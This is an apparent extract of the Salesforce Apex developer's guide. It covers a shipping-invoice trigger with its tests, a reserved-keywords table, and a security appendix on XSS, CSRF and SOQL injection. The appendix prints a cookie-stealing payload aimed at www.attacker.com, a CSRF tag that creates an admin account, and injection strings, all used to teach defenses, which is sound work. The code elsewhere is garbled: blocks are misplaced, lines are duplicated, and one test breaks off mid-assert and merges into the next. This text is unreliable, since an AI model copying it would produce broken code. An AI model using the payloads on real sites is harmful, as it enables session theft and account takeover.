    // Process the list of items
    if(trigger.isUpdate) {
        // Treat updates like a removal of the old item and addition of the
// revised item rather than figuring out the differences of each field
// and acting accordingly.
// Note updates have both trigger.new and trigger.old
for(integer x = 0; x < trigger.old.size(); x++)
{
    Shipping_Invoice__C myOrder;
    myOrder = SIMap.get(trigger.old[x].Shipping_Invoice__C);

    // Decrement the previous value from the subtotal and weight.
    myOrder.SubTotal__c -= (trigger.old[x].price__c *
                trigger.old[x].quantity__c);
    myOrder.TotalWeight__c -= (trigger.old[x].weight__c *
                trigger.old[x].quantity__c);

    // Increment the new subtotal and weight.
    myOrder.SubTotal__c += (trigger.new[x].price__c *
                trigger.new[x].quantity__c);
    myOrder.TotalWeight__c += (trigger.new[x].weight__c *
                trigger.new[x].quantity__c);
}

for(Shipping_Invoice__C myOrder : AllShippingInvoices)
{
    // Set tax rate to 9.25% Please note, this is a simple example.
    // Generally, you would never hard code values.
    // Leveraging Custom Settings for tax rates is a best practice.
    // See Custom Settings in the Apex Developer's guide
    // for more information.
    myOrder.Tax__c = myOrder.Subtotal__c * .0925;

    // Reset the shipping discount
    myOrder.ShippingDiscount__c = 0;

    // Set shipping rate to 75 cents per pound.
    // Generally, you would never hard code values.
    // Leveraging Custom Settings for the shipping rate is a best practice.
    // See Custom Settings in the Apex Developer's guide
    // for more information.
    myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
    myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
        myOrder.Shipping__c;
    updateMap.put(myOrder.id, myOrder);
}
else
{
    for(Item__c itemToProcess : itemList)
    {
        Shipping_Invoice__C myOrder;

        // Look up the correct shipping invoice from the ones we got earlier
        myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
        myOrder.SubTotal__c += (itemToProcess.price__c *
                    itemToProcess.quantity__c * subtract);
        myOrder.TotalWeight__c += (itemToProcess.weight__c *
                    itemToProcess.quantity__c * subtract);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {
        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer's guide
        // for more information.
    }
}
myOrder.Tax__c = myOrder.Subtotal__c * .0925;

    // Reset shipping discount
    myOrder.ShippingDiscount__c = 0;

    // Set shipping rate to 75 cents per pound.
    // Generally, you would never hard code values.
    // Leveraging Custom Settings for the shipping rate is a best practice.
    // See Custom Settings in the Apex Developer's guide
    // for more information.
    myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
    myOrder.GrandTotal__c = myOrder.Subtotal__c + myOrder.tax__c +
                         myOrder.Shipping__c;

    updateMap.put(myOrder.id, myOrder);

    } }

    // Only use one DML update at the end.
    // This minimizes the number of DML requests generated from this trigger.
    update updateMap.values();

ShippingDiscount Trigger

    trigger ShippingDiscount on Shipping_Invoice__C (before update) { 
    // Free shipping on all orders greater than $100
    for(Shipping_Invoice__C myShippingInvoice : trigger.new)
    {
        if((myShippingInvoice.subtotal__c >= 100.00) &&
           (myShippingInvoice.ShippingDiscount__c == 0))
        {
            myShippingInvoice.ShippingDiscount__c =
                    myShippingInvoice.Shipping__c * -1;
            myShippingInvoice.GrandTotal__c += myShippingInvoice.ShippingDiscount__c;
        }
    }
}

Shipping Invoice Test

@IsTest
private class TestShippingInvoice{

    // Test for inserting three items at once
    public static testmethod void testBulkItemInsert(){
        // Create the shipping invoice. It's a best practice to either use defaults
        // or to explicitly set all values to zero so as to avoid having
        // extraneous data in your test.
        Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
                                         totalWeight__c = 0, grandtotal__c = 0,
                                         ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);

        // Insert the order and populate with items
        insert Order1;
        List<Item__c> list1 = new List<Item__c>();
        Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1,
                                   Shipping_Invoice__C = order1.id);
        Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1,
                                   Shipping_Invoice__C = order1.id);
        Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1,
                                   Shipping_Invoice__C = order1.id);
        list1.add(item1);
list1.add(item2);
list1.add(item3);
insert list1;

// Retrieve the order, then do assertions
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
          grandtotal__c, shippingdiscount__c
          FROM Shipping_Invoice__C
          WHERE id = :order1.id];

System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was ' + order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was ' + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c);
}

// Test for updating three items at once
public static testmethod void testBulkItemUpdate(){

    // Create the shipping invoice. It's a best practice to either use defaults
    // or to explicitly set all values to zero so as to avoid having
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
               totalweight__c = 0, grandtotal__c = 0,
               ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
    // Insert the order and populate with items.
    insert Order1;
    List<Item__c> list1 = new List<Item__c>();
    Item__c item1 = new Item__c(Price__c = 1, weight__c = 1, quantity__c = 1,
                        Shipping_Invoice__C = order1.id);
    Item__c item2 = new Item__c(Price__c = 2, weight__c = 2, quantity__c = 1,
                        Shipping_Invoice__C = order1.id);
    Item__c item3 = new Item__c(Price__c = 4, weight__c = 3, quantity__c = 1,
                        Shipping_Invoice__C = order1.id);
    list1.add(item1);
    list1.add(item2);
    list1.add(item3);
    insert list1;

    // Update the prices on the 3 items
    list1[0].price__c = 10;
    list1[1].price__c = 25;
    list1[2].price__c = 40;
    update list1;

    // Access the order and assert items updated
    order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
              grandtotal__c, shippingdiscount__c
              FROM Shipping_Invoice__C
              WHERE id = :order1.id];

    System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was ' + order1.subtotal__c);
    System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
    System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was ' + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c);
}
// Test for deleting items
public static testmethod void testBulkItemDelete(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
        totalweight__c = 0, grandtotal__c = 0,
        ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
// Insert the order and populate with items
insert Order1;
List<Item__c> list1 = new List<Item__c>();
Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
Item__c itemA = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
Item__c itemB = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
Item__c itemC = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
Item__c itemD = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
list1.add(item1);
list1.add(item2);
list1.add(item3);
list1.add(itemA);
list1.add(itemB);
list1.add(itemC);
list1.add(itemD);
insert list1;
// Seven items are now in the shipping invoice.
// The following deletes four of them.
List<Item__c> list2 = new List<Item__c>();
list2.add(itemA);
list2.add(itemB);
list2.add(itemC);
list2.add(itemD);
delete list2;
// Retrieve the order and verify the deletion
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
        grandtotal__c, shippingdiscount__c
        FROM Shipping_Invoice__C
        WHERE id = :order1.id];
System.assert(order1.subtotal__c == 75,
        'Order subtotal was not $75, but was ' + order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
public static testmethod void testFreeShipping{
    // Create the shipping invoice. It's a best practice to either use defaults
    // or to explicitly set all values to zero so as to avoid having
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
        totalweight__c = 0, grandtotal__c = 0,
        ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
    // Insert the order and populate with items.
    insert Order1;
    List<Item__c> list1 = new List<Item__c>();
    Item__c item1 = new Item__C(Price__c = 10, weight__c = 1,
        quantity__c = 1, Shipping_Invoice__C = order1.id);
    Item__c item2 = new Item__C(Price__c = 25, weight__c = 2,
        quantity__c = 1, Shipping_Invoice__C = order1.id);
    Item__c item3 = new Item__C(Price__c = 40, weight__c = 3,
        quantity__c = 1, Shipping_Invoice__C = order1.id);
    list1.add(item1);
    list1.add(item2);
    list1.add(item3);
    insert list1;

    // Retrieve the order and verify free shipping not applicable
    order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
        grandtotal__c, shippingdiscount__c
        FROM Shipping_Invoice__C
        WHERE id = :order1.id];

    // Free shipping not available on $75 orders
    System.assert(order1.subtotal__c == 75,
        'Order subtotal was not $75, but was ' + order1.subtotal__c);
    System.assert(order1.tax__c == 6.9375,
        'Order tax was not $6.9375, but was ' + order1.tax__c);
    System.assert(order1.shipping__c == 4.50,
        'Order shipping was not $4.50, but was ' + order1.shipping__c);
    System.assert(order1.totalweight__c == 6.00,
        'Order weight was not 6 but was ' + order1.totalweight__c);
    System.assert(order1.grandtotal__c == 86.4375,
        'Order grand total was not $86.4375 but was ' + order1.grandtotal__c);
    System.assert(order1.shippingdiscount__c == 0,
        'Order shipping discount was not $0 but was ' + order1.shippingdiscount__c);

    // Add items to increase subtotal
    item1 = new Item__C(Price__c = 25, weight__c = 20, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    insert item1;

    // Retrieve the order and verify free shipping is applicable
    order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
        grandtotal__c, shippingdiscount__c
        FROM Shipping_Invoice__C
        WHERE id = :order1.id];

WHERE id = :order1.id;  

// Order total is now at $100, so free shipping should be enabled
System.assert(order1.subtotal__c == 100,  
   'Order subtotal was not $100, but was ' + order1.subtotal__c);  
System.assert(order1.tax__c == 9.25,  
   'Order tax was not $9.25, but was ' + order1.tax__c);  
System.assert(order1.shipping__c == 19.50,  
   'Order shipping was not $19.50, but was ' + order1.shipping__c);  
System.assert(order1.totalweight__c == 26.00,  
   'Order weight was not 26 but was ' + order1.totalweight__c);  
System.assert(order1.grandtotal__c == 109.25,  
   'Order grand total was not $86.4375 but was ' + order1.grandtotal__c);  
System.assert(order1.shippingdiscount__c == -19.50,  
   'Order shipping discount was not -$19.50 but was ' + order1.shippingdiscount__c);  
}

// Negative testing for inserting bad input
public static testmethod void testNegativeTests(){  
    
    // Create the shipping invoice. It's a best practice to either use defaults  
    // or to explicitly set all values to zero so as to avoid having  
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,  
        totalweight__c = 0, grandtotal__c = 0,  
        ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);  
    
    // Insert the order and populate with items.
    insert Order1;  
    Item__c item1 = new Item__C(Price__c = -10, weight__c = 1, quantity__c = 1,  
        Shipping_Invoice__C = order1.id);  
    Item__c item2 = new Item__C(Price__c = 25, weight__c = -2, quantity__c = 1,  
        Shipping_Invoice__C = order1.id);  
    Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = -1,  
        Shipping_Invoice__C = order1.id);  
    Item__c item4 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 0,  
        Shipping_Invoice__C = order1.id);  
    try{  
        insert item1;  
    }catch(Exception e)  
    {  
        system.assert(e.getMessage().contains('Price must be non-negative'),  
           'Price was negative but was not caught');  
    }  
    try{  
        insert item2;  
    }catch(Exception e)  
    {  
        system.assert(e.getMessage().contains('Weight must be non-negative'),  
           'Weight was negative but was not caught');  
    }  
    try{  
        insert item3;  
    }catch(Exception e)  
    {  
        system.assert(e.getMessage().contains('Quantity must be positive'),  
           'Quantity was negative but was not caught');  
    }  
}
try{
    insert item4;
}
catch(Exception e)
{
    system.assert(e.getMessage().contains('Quantity must be positive'),
                  'Quantity was zero but was not caught');
}
}
The following table lists identifiers that are reserved for use as keywords and cannot be used otherwise:

**Note:** Keywords marked with an asterisk (*) are reserved for future use.

### Table 4: Reserved Keywords

<table>
<thead>
<tr>
<th>abstract</th>
<th>having*</th>
<th>retrieve*</th>
</tr>
</thead>
<tbody>
<tr>
<td>activate*</td>
<td>hint*</td>
<td>return</td>
</tr>
<tr>
<td>and</td>
<td>if</td>
<td>returning*</td>
</tr>
<tr>
<td>any*</td>
<td>implements</td>
<td>rollback</td>
</tr>
<tr>
<td>array</td>
<td>import*</td>
<td>savepoint</td>
</tr>
<tr>
<td>as</td>
<td>inner*</td>
<td>search*</td>
</tr>
<tr>
<td>asc</td>
<td>insert</td>
<td>select</td>
</tr>
<tr>
<td>autonomous*</td>
<td>interface</td>
<td>set</td>
</tr>
<tr>
<td>begin*</td>
<td>into*</td>
<td>short*</td>
</tr>
<tr>
<td>bigdecimal*</td>
<td>int</td>
<td>sort</td>
</tr>
<tr>
<td>blob</td>
<td>join*</td>
<td>stat*</td>
</tr>
<tr>
<td>break</td>
<td>last_90_days</td>
<td>super</td>
</tr>
<tr>
<td>bulk</td>
<td>last_month</td>
<td>switch*</td>
</tr>
<tr>
<td>by</td>
<td>last_n_days</td>
<td>synchronized*</td>
</tr>
<tr>
<td>byte*</td>
<td>last_week</td>
<td>system</td>
</tr>
<tr>
<td>case*</td>
<td>like</td>
<td>testmethod</td>
</tr>
<tr>
<td>cast*</td>
<td>limit</td>
<td>then*</td>
</tr>
<tr>
<td>catch</td>
<td>list</td>
<td>this</td>
</tr>
<tr>
<td>char*</td>
<td>long</td>
<td>this_month*</td>
</tr>
<tr>
<td>class</td>
<td>loop*</td>
<td>this_week</td>
</tr>
<tr>
<td>collect*</td>
<td>map</td>
<td>throw</td>
</tr>
<tr>
<td>commit</td>
<td>merge</td>
<td>today</td>
</tr>
<tr>
<td>const*</td>
<td>new</td>
<td>tolabel</td>
</tr>
<tr>
<td>continue</td>
<td>next_90_days</td>
<td>tomorrow</td>
</tr>
<tr>
<td>convertcurrency</td>
<td>next_month</td>
<td>transaction*</td>
</tr>
<tr>
<td>decimal</td>
<td></td>
<td>trigger</td>
</tr>
<tr>
<td>default*</td>
<td>next_n_days</td>
<td>true</td>
</tr>
<tr>
<td>--------------------------</td>
<td>------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>delete</td>
<td>next_week</td>
<td>try</td>
</tr>
<tr>
<td>desc</td>
<td>not</td>
<td>type*</td>
</tr>
<tr>
<td>do</td>
<td>null</td>
<td>undelete</td>
</tr>
<tr>
<td>else</td>
<td>nulls</td>
<td>update</td>
</tr>
<tr>
<td>end*</td>
<td>number*</td>
<td>upsert</td>
</tr>
<tr>
<td>enum</td>
<td>object*</td>
<td>using</td>
</tr>
<tr>
<td>exit*</td>
<td>of*</td>
<td>virtual</td>
</tr>
<tr>
<td>export*</td>
<td>on</td>
<td>webservice</td>
</tr>
<tr>
<td>extends</td>
<td>or</td>
<td>when*</td>
</tr>
<tr>
<td>false</td>
<td>outer*</td>
<td>where</td>
</tr>
<tr>
<td>final</td>
<td>override</td>
<td>while</td>
</tr>
<tr>
<td>finally</td>
<td>package</td>
<td>yesterday</td>
</tr>
<tr>
<td>float*</td>
<td>parallel*</td>
<td></td>
</tr>
<tr>
<td>for</td>
<td>pragma*</td>
<td></td>
</tr>
<tr>
<td>from</td>
<td>private</td>
<td></td>
</tr>
<tr>
<td>future</td>
<td>protected</td>
<td></td>
</tr>
<tr>
<td>global</td>
<td>public</td>
<td></td>
</tr>
</tbody>
</table>

Note that the following special keywords are allowed:

- after
- before
- count
- excludes
- first
- includes
- last
- order
- sharing
- with
Security Tips for Apex and Visualforce Development

Understanding Security

The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls.

Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.

To certify an application for Force.com AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/index.php/Security.

Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim’s trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives.

For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page.

```html
<script>var foo = '{!$CurrentPage.parameters.userparam}';
</script>
var foo = '{!$CurrentPage.parameters.userparam}';
</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam:

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim.

The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session.

For more information on this attack in general, see the following articles:

- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist.

**Existing Protection**

All standard Visualforce components, which start with `<apex>`, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the `<apex:outputText>` tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the `<` character is converted to `&lt;` so that a literal `<` displays on the user's screen.

```xml
<apex:outputText>
  {!$CurrentPage.parameters.userInput}
</apex:outputText>
```

**Disabling Escape on Visualforce Tags**

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute `escape="false"`. For example, the following output is vulnerable to XSS attacks:

```xml
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
```

**Programming Items Not Protected from XSS**

The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not make sense to include anti-XSS filters on commands that are intentionally added to a page.

**Custom JavaScript**

If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.

```xml
<script>
  var foo = location.search;
  document.write(foo);
</script>
```
Unescaped Output and Formulas in Visualforce Pages

When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions. Formula expressions can be function calls or include information about platform objects, a user’s environment, system environment, and the request environment. It is important to be aware that the output that is generated by expressions is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.

A common vulnerability is created by rerendering user input on a page. For example,

```apex
<apex:page standardController="Account">
  <apex:form>
    <apex:commandButton rerender="outputIt" value="Update It"/>
    <apex:inputText value="{!myTextField}"/>
  </apex:form>
  <apex:outputPanel id="outputIt">
    Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
  </apex:outputPanel>
</apex:page>
```

The unescaped `{!myTextField}` results in a cross-site scripting vulnerability. For example, if the user enters:

```apex
<script>alert('xss')</script>
```

and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.

There are several functions that you can use for escaping potentially insecure strings.

**HTMLENCODE**

The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>) , with HTML entity equivalents, such as `&gt;`.

**JSENCODE**

The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
**JSINHTMLENCODE**

The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents.

**URLENCODE**

The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in *RFC 3986, Uniform Resource Identifier (URI): Generic Syntax*. For example, exclamation points are replaced with `%21`.

To use HTMLENCODE to secure the previous example, change the `<apex:outputText>` to the following:

```
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
```

If a user enters `<script>alert('xss')</script>` and clicks *Update It*, the JavaScript is not be executed. Instead, the string is encoded and the page displays: *Value of myTextField is <script>alert('xss')</script>*.

Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:

```
<script>var ret = "{!$CurrentPage.parameters.retURL}";script>var ret = ""{!$CurrentPage.parameters.retURL}";
```

requires that the double quote character be escaped with its URL encoded equivalent of `%22` instead of the HTML escaped `"`, since it is going to be used in a link. Otherwise, the request:

```
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
```

results in:

```
<script>var ret = "foo";alert('xss');//"></script>
```

The JavaScript executes, and the alert is displayed.

In this case, to prevent the JavaScript being executed, use the *JSENCODE* function. For example

```
<script>var ret = "{"JSENCODE($CurrentPage.parameters.retURL)"};</script>
```

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and may not have been screened for malicious content.

### Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at `www.attacker.com`. This could be
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:

```html
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />
```

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.

For more information and traditional defenses, see the following articles:

- http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods.

Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.

```apex
<apex:page controller="myClass" action="{!init}"/>

public class myClass {
    public void init() {
        Id id = ApexPages.currentPage().getParameters().get('id');
        Account obj = [select id, Name FROM Account WHERE id = :id];
        delete obj;
        return ;
    }
}
```

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The `id` parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the `id` parameter.

There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the `id` variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

**SOQL Injection**

In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
Appendix C: Security Tips for Apex and Visualforce Development

SOQL Injection

the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application
into performing unintended commands.
For more information on SQL Injection attacks see:
•
•
•
•

http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provides a normal value,
the statement executes as expected:
name = Bob
sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:
name = test%') or (Name like '

In that case, the query string becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.

457


SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows:

```java
public class SOQLController {
  public String name {
    get { return name; }
    set { name = value; }
  }
  public PageReference query() {
    String queryName = '%' + name + '%';
    queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)];
    return null;
  }
}
```

If you must use dynamic SOQL, use the `escapeSingleQuotes` method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control

The Force.com platform makes extensive use of data sharing rules. Each object can have unique permissions for which users and profiles can read, create, edit, and delete. These restrictions are enforced when using all standard controllers.

When using an Apex class, the built-in profile permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code:

```java
public class customController {
  public void read() {
    Contact contact = [Select id from Contact where Name = :value];
  }
}
```

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords `with sharing` when declaring the class:

```java
public with sharing class customController {
  
}
```

The `with sharing` keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.
Web Services API Calls and SOAP Headers for Apex

This appendix details the Web services API calls that are available by default for Apex.

**Note:** Apex class methods can be exposed as custom Force.com Web services API calls. This allows an external application to invoke an Apex web service to perform an action in Salesforce. Use the `webService` keyword to define these methods. For more information, see [Considerations for Using the WebService Keyword](#) on page 200.

Any Apex scripts saved using the Web Service API calls uses the same version of the API as the endpoint of the API request. For example, if you want to use API version 21.0, use endpoint 21.0:

```
https://na1-api.salesforce.com/services/Soap/s/21.0
```

For information on all other Web services API calls, including those that can be used to extend or implement any existing Apex IDEs, contact your salesforce.com representative.

This appendix details the following Web services API calls:

- `compileAndTest()`
- `compileClasses()`
- `compileTriggers()`
- `executeAnonymous()`
- `runTests()`

The following SOAP headers are available in API calls for Apex:

- `DebuggingHeader`
- `PackageVersionHeader`

Also see the *Metadata API Developer's Guide* for two additional calls:

- `deploy()`
- `retrieve()`

### compileAndTest()

Compile and test your Apex in a single call.
Syntax

```java
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);
```

Usage

Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer Edition or Sandbox Edition) must use this call instead of `compileClasses()` or `compileTriggers()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Web Services API Developer’s Guide.

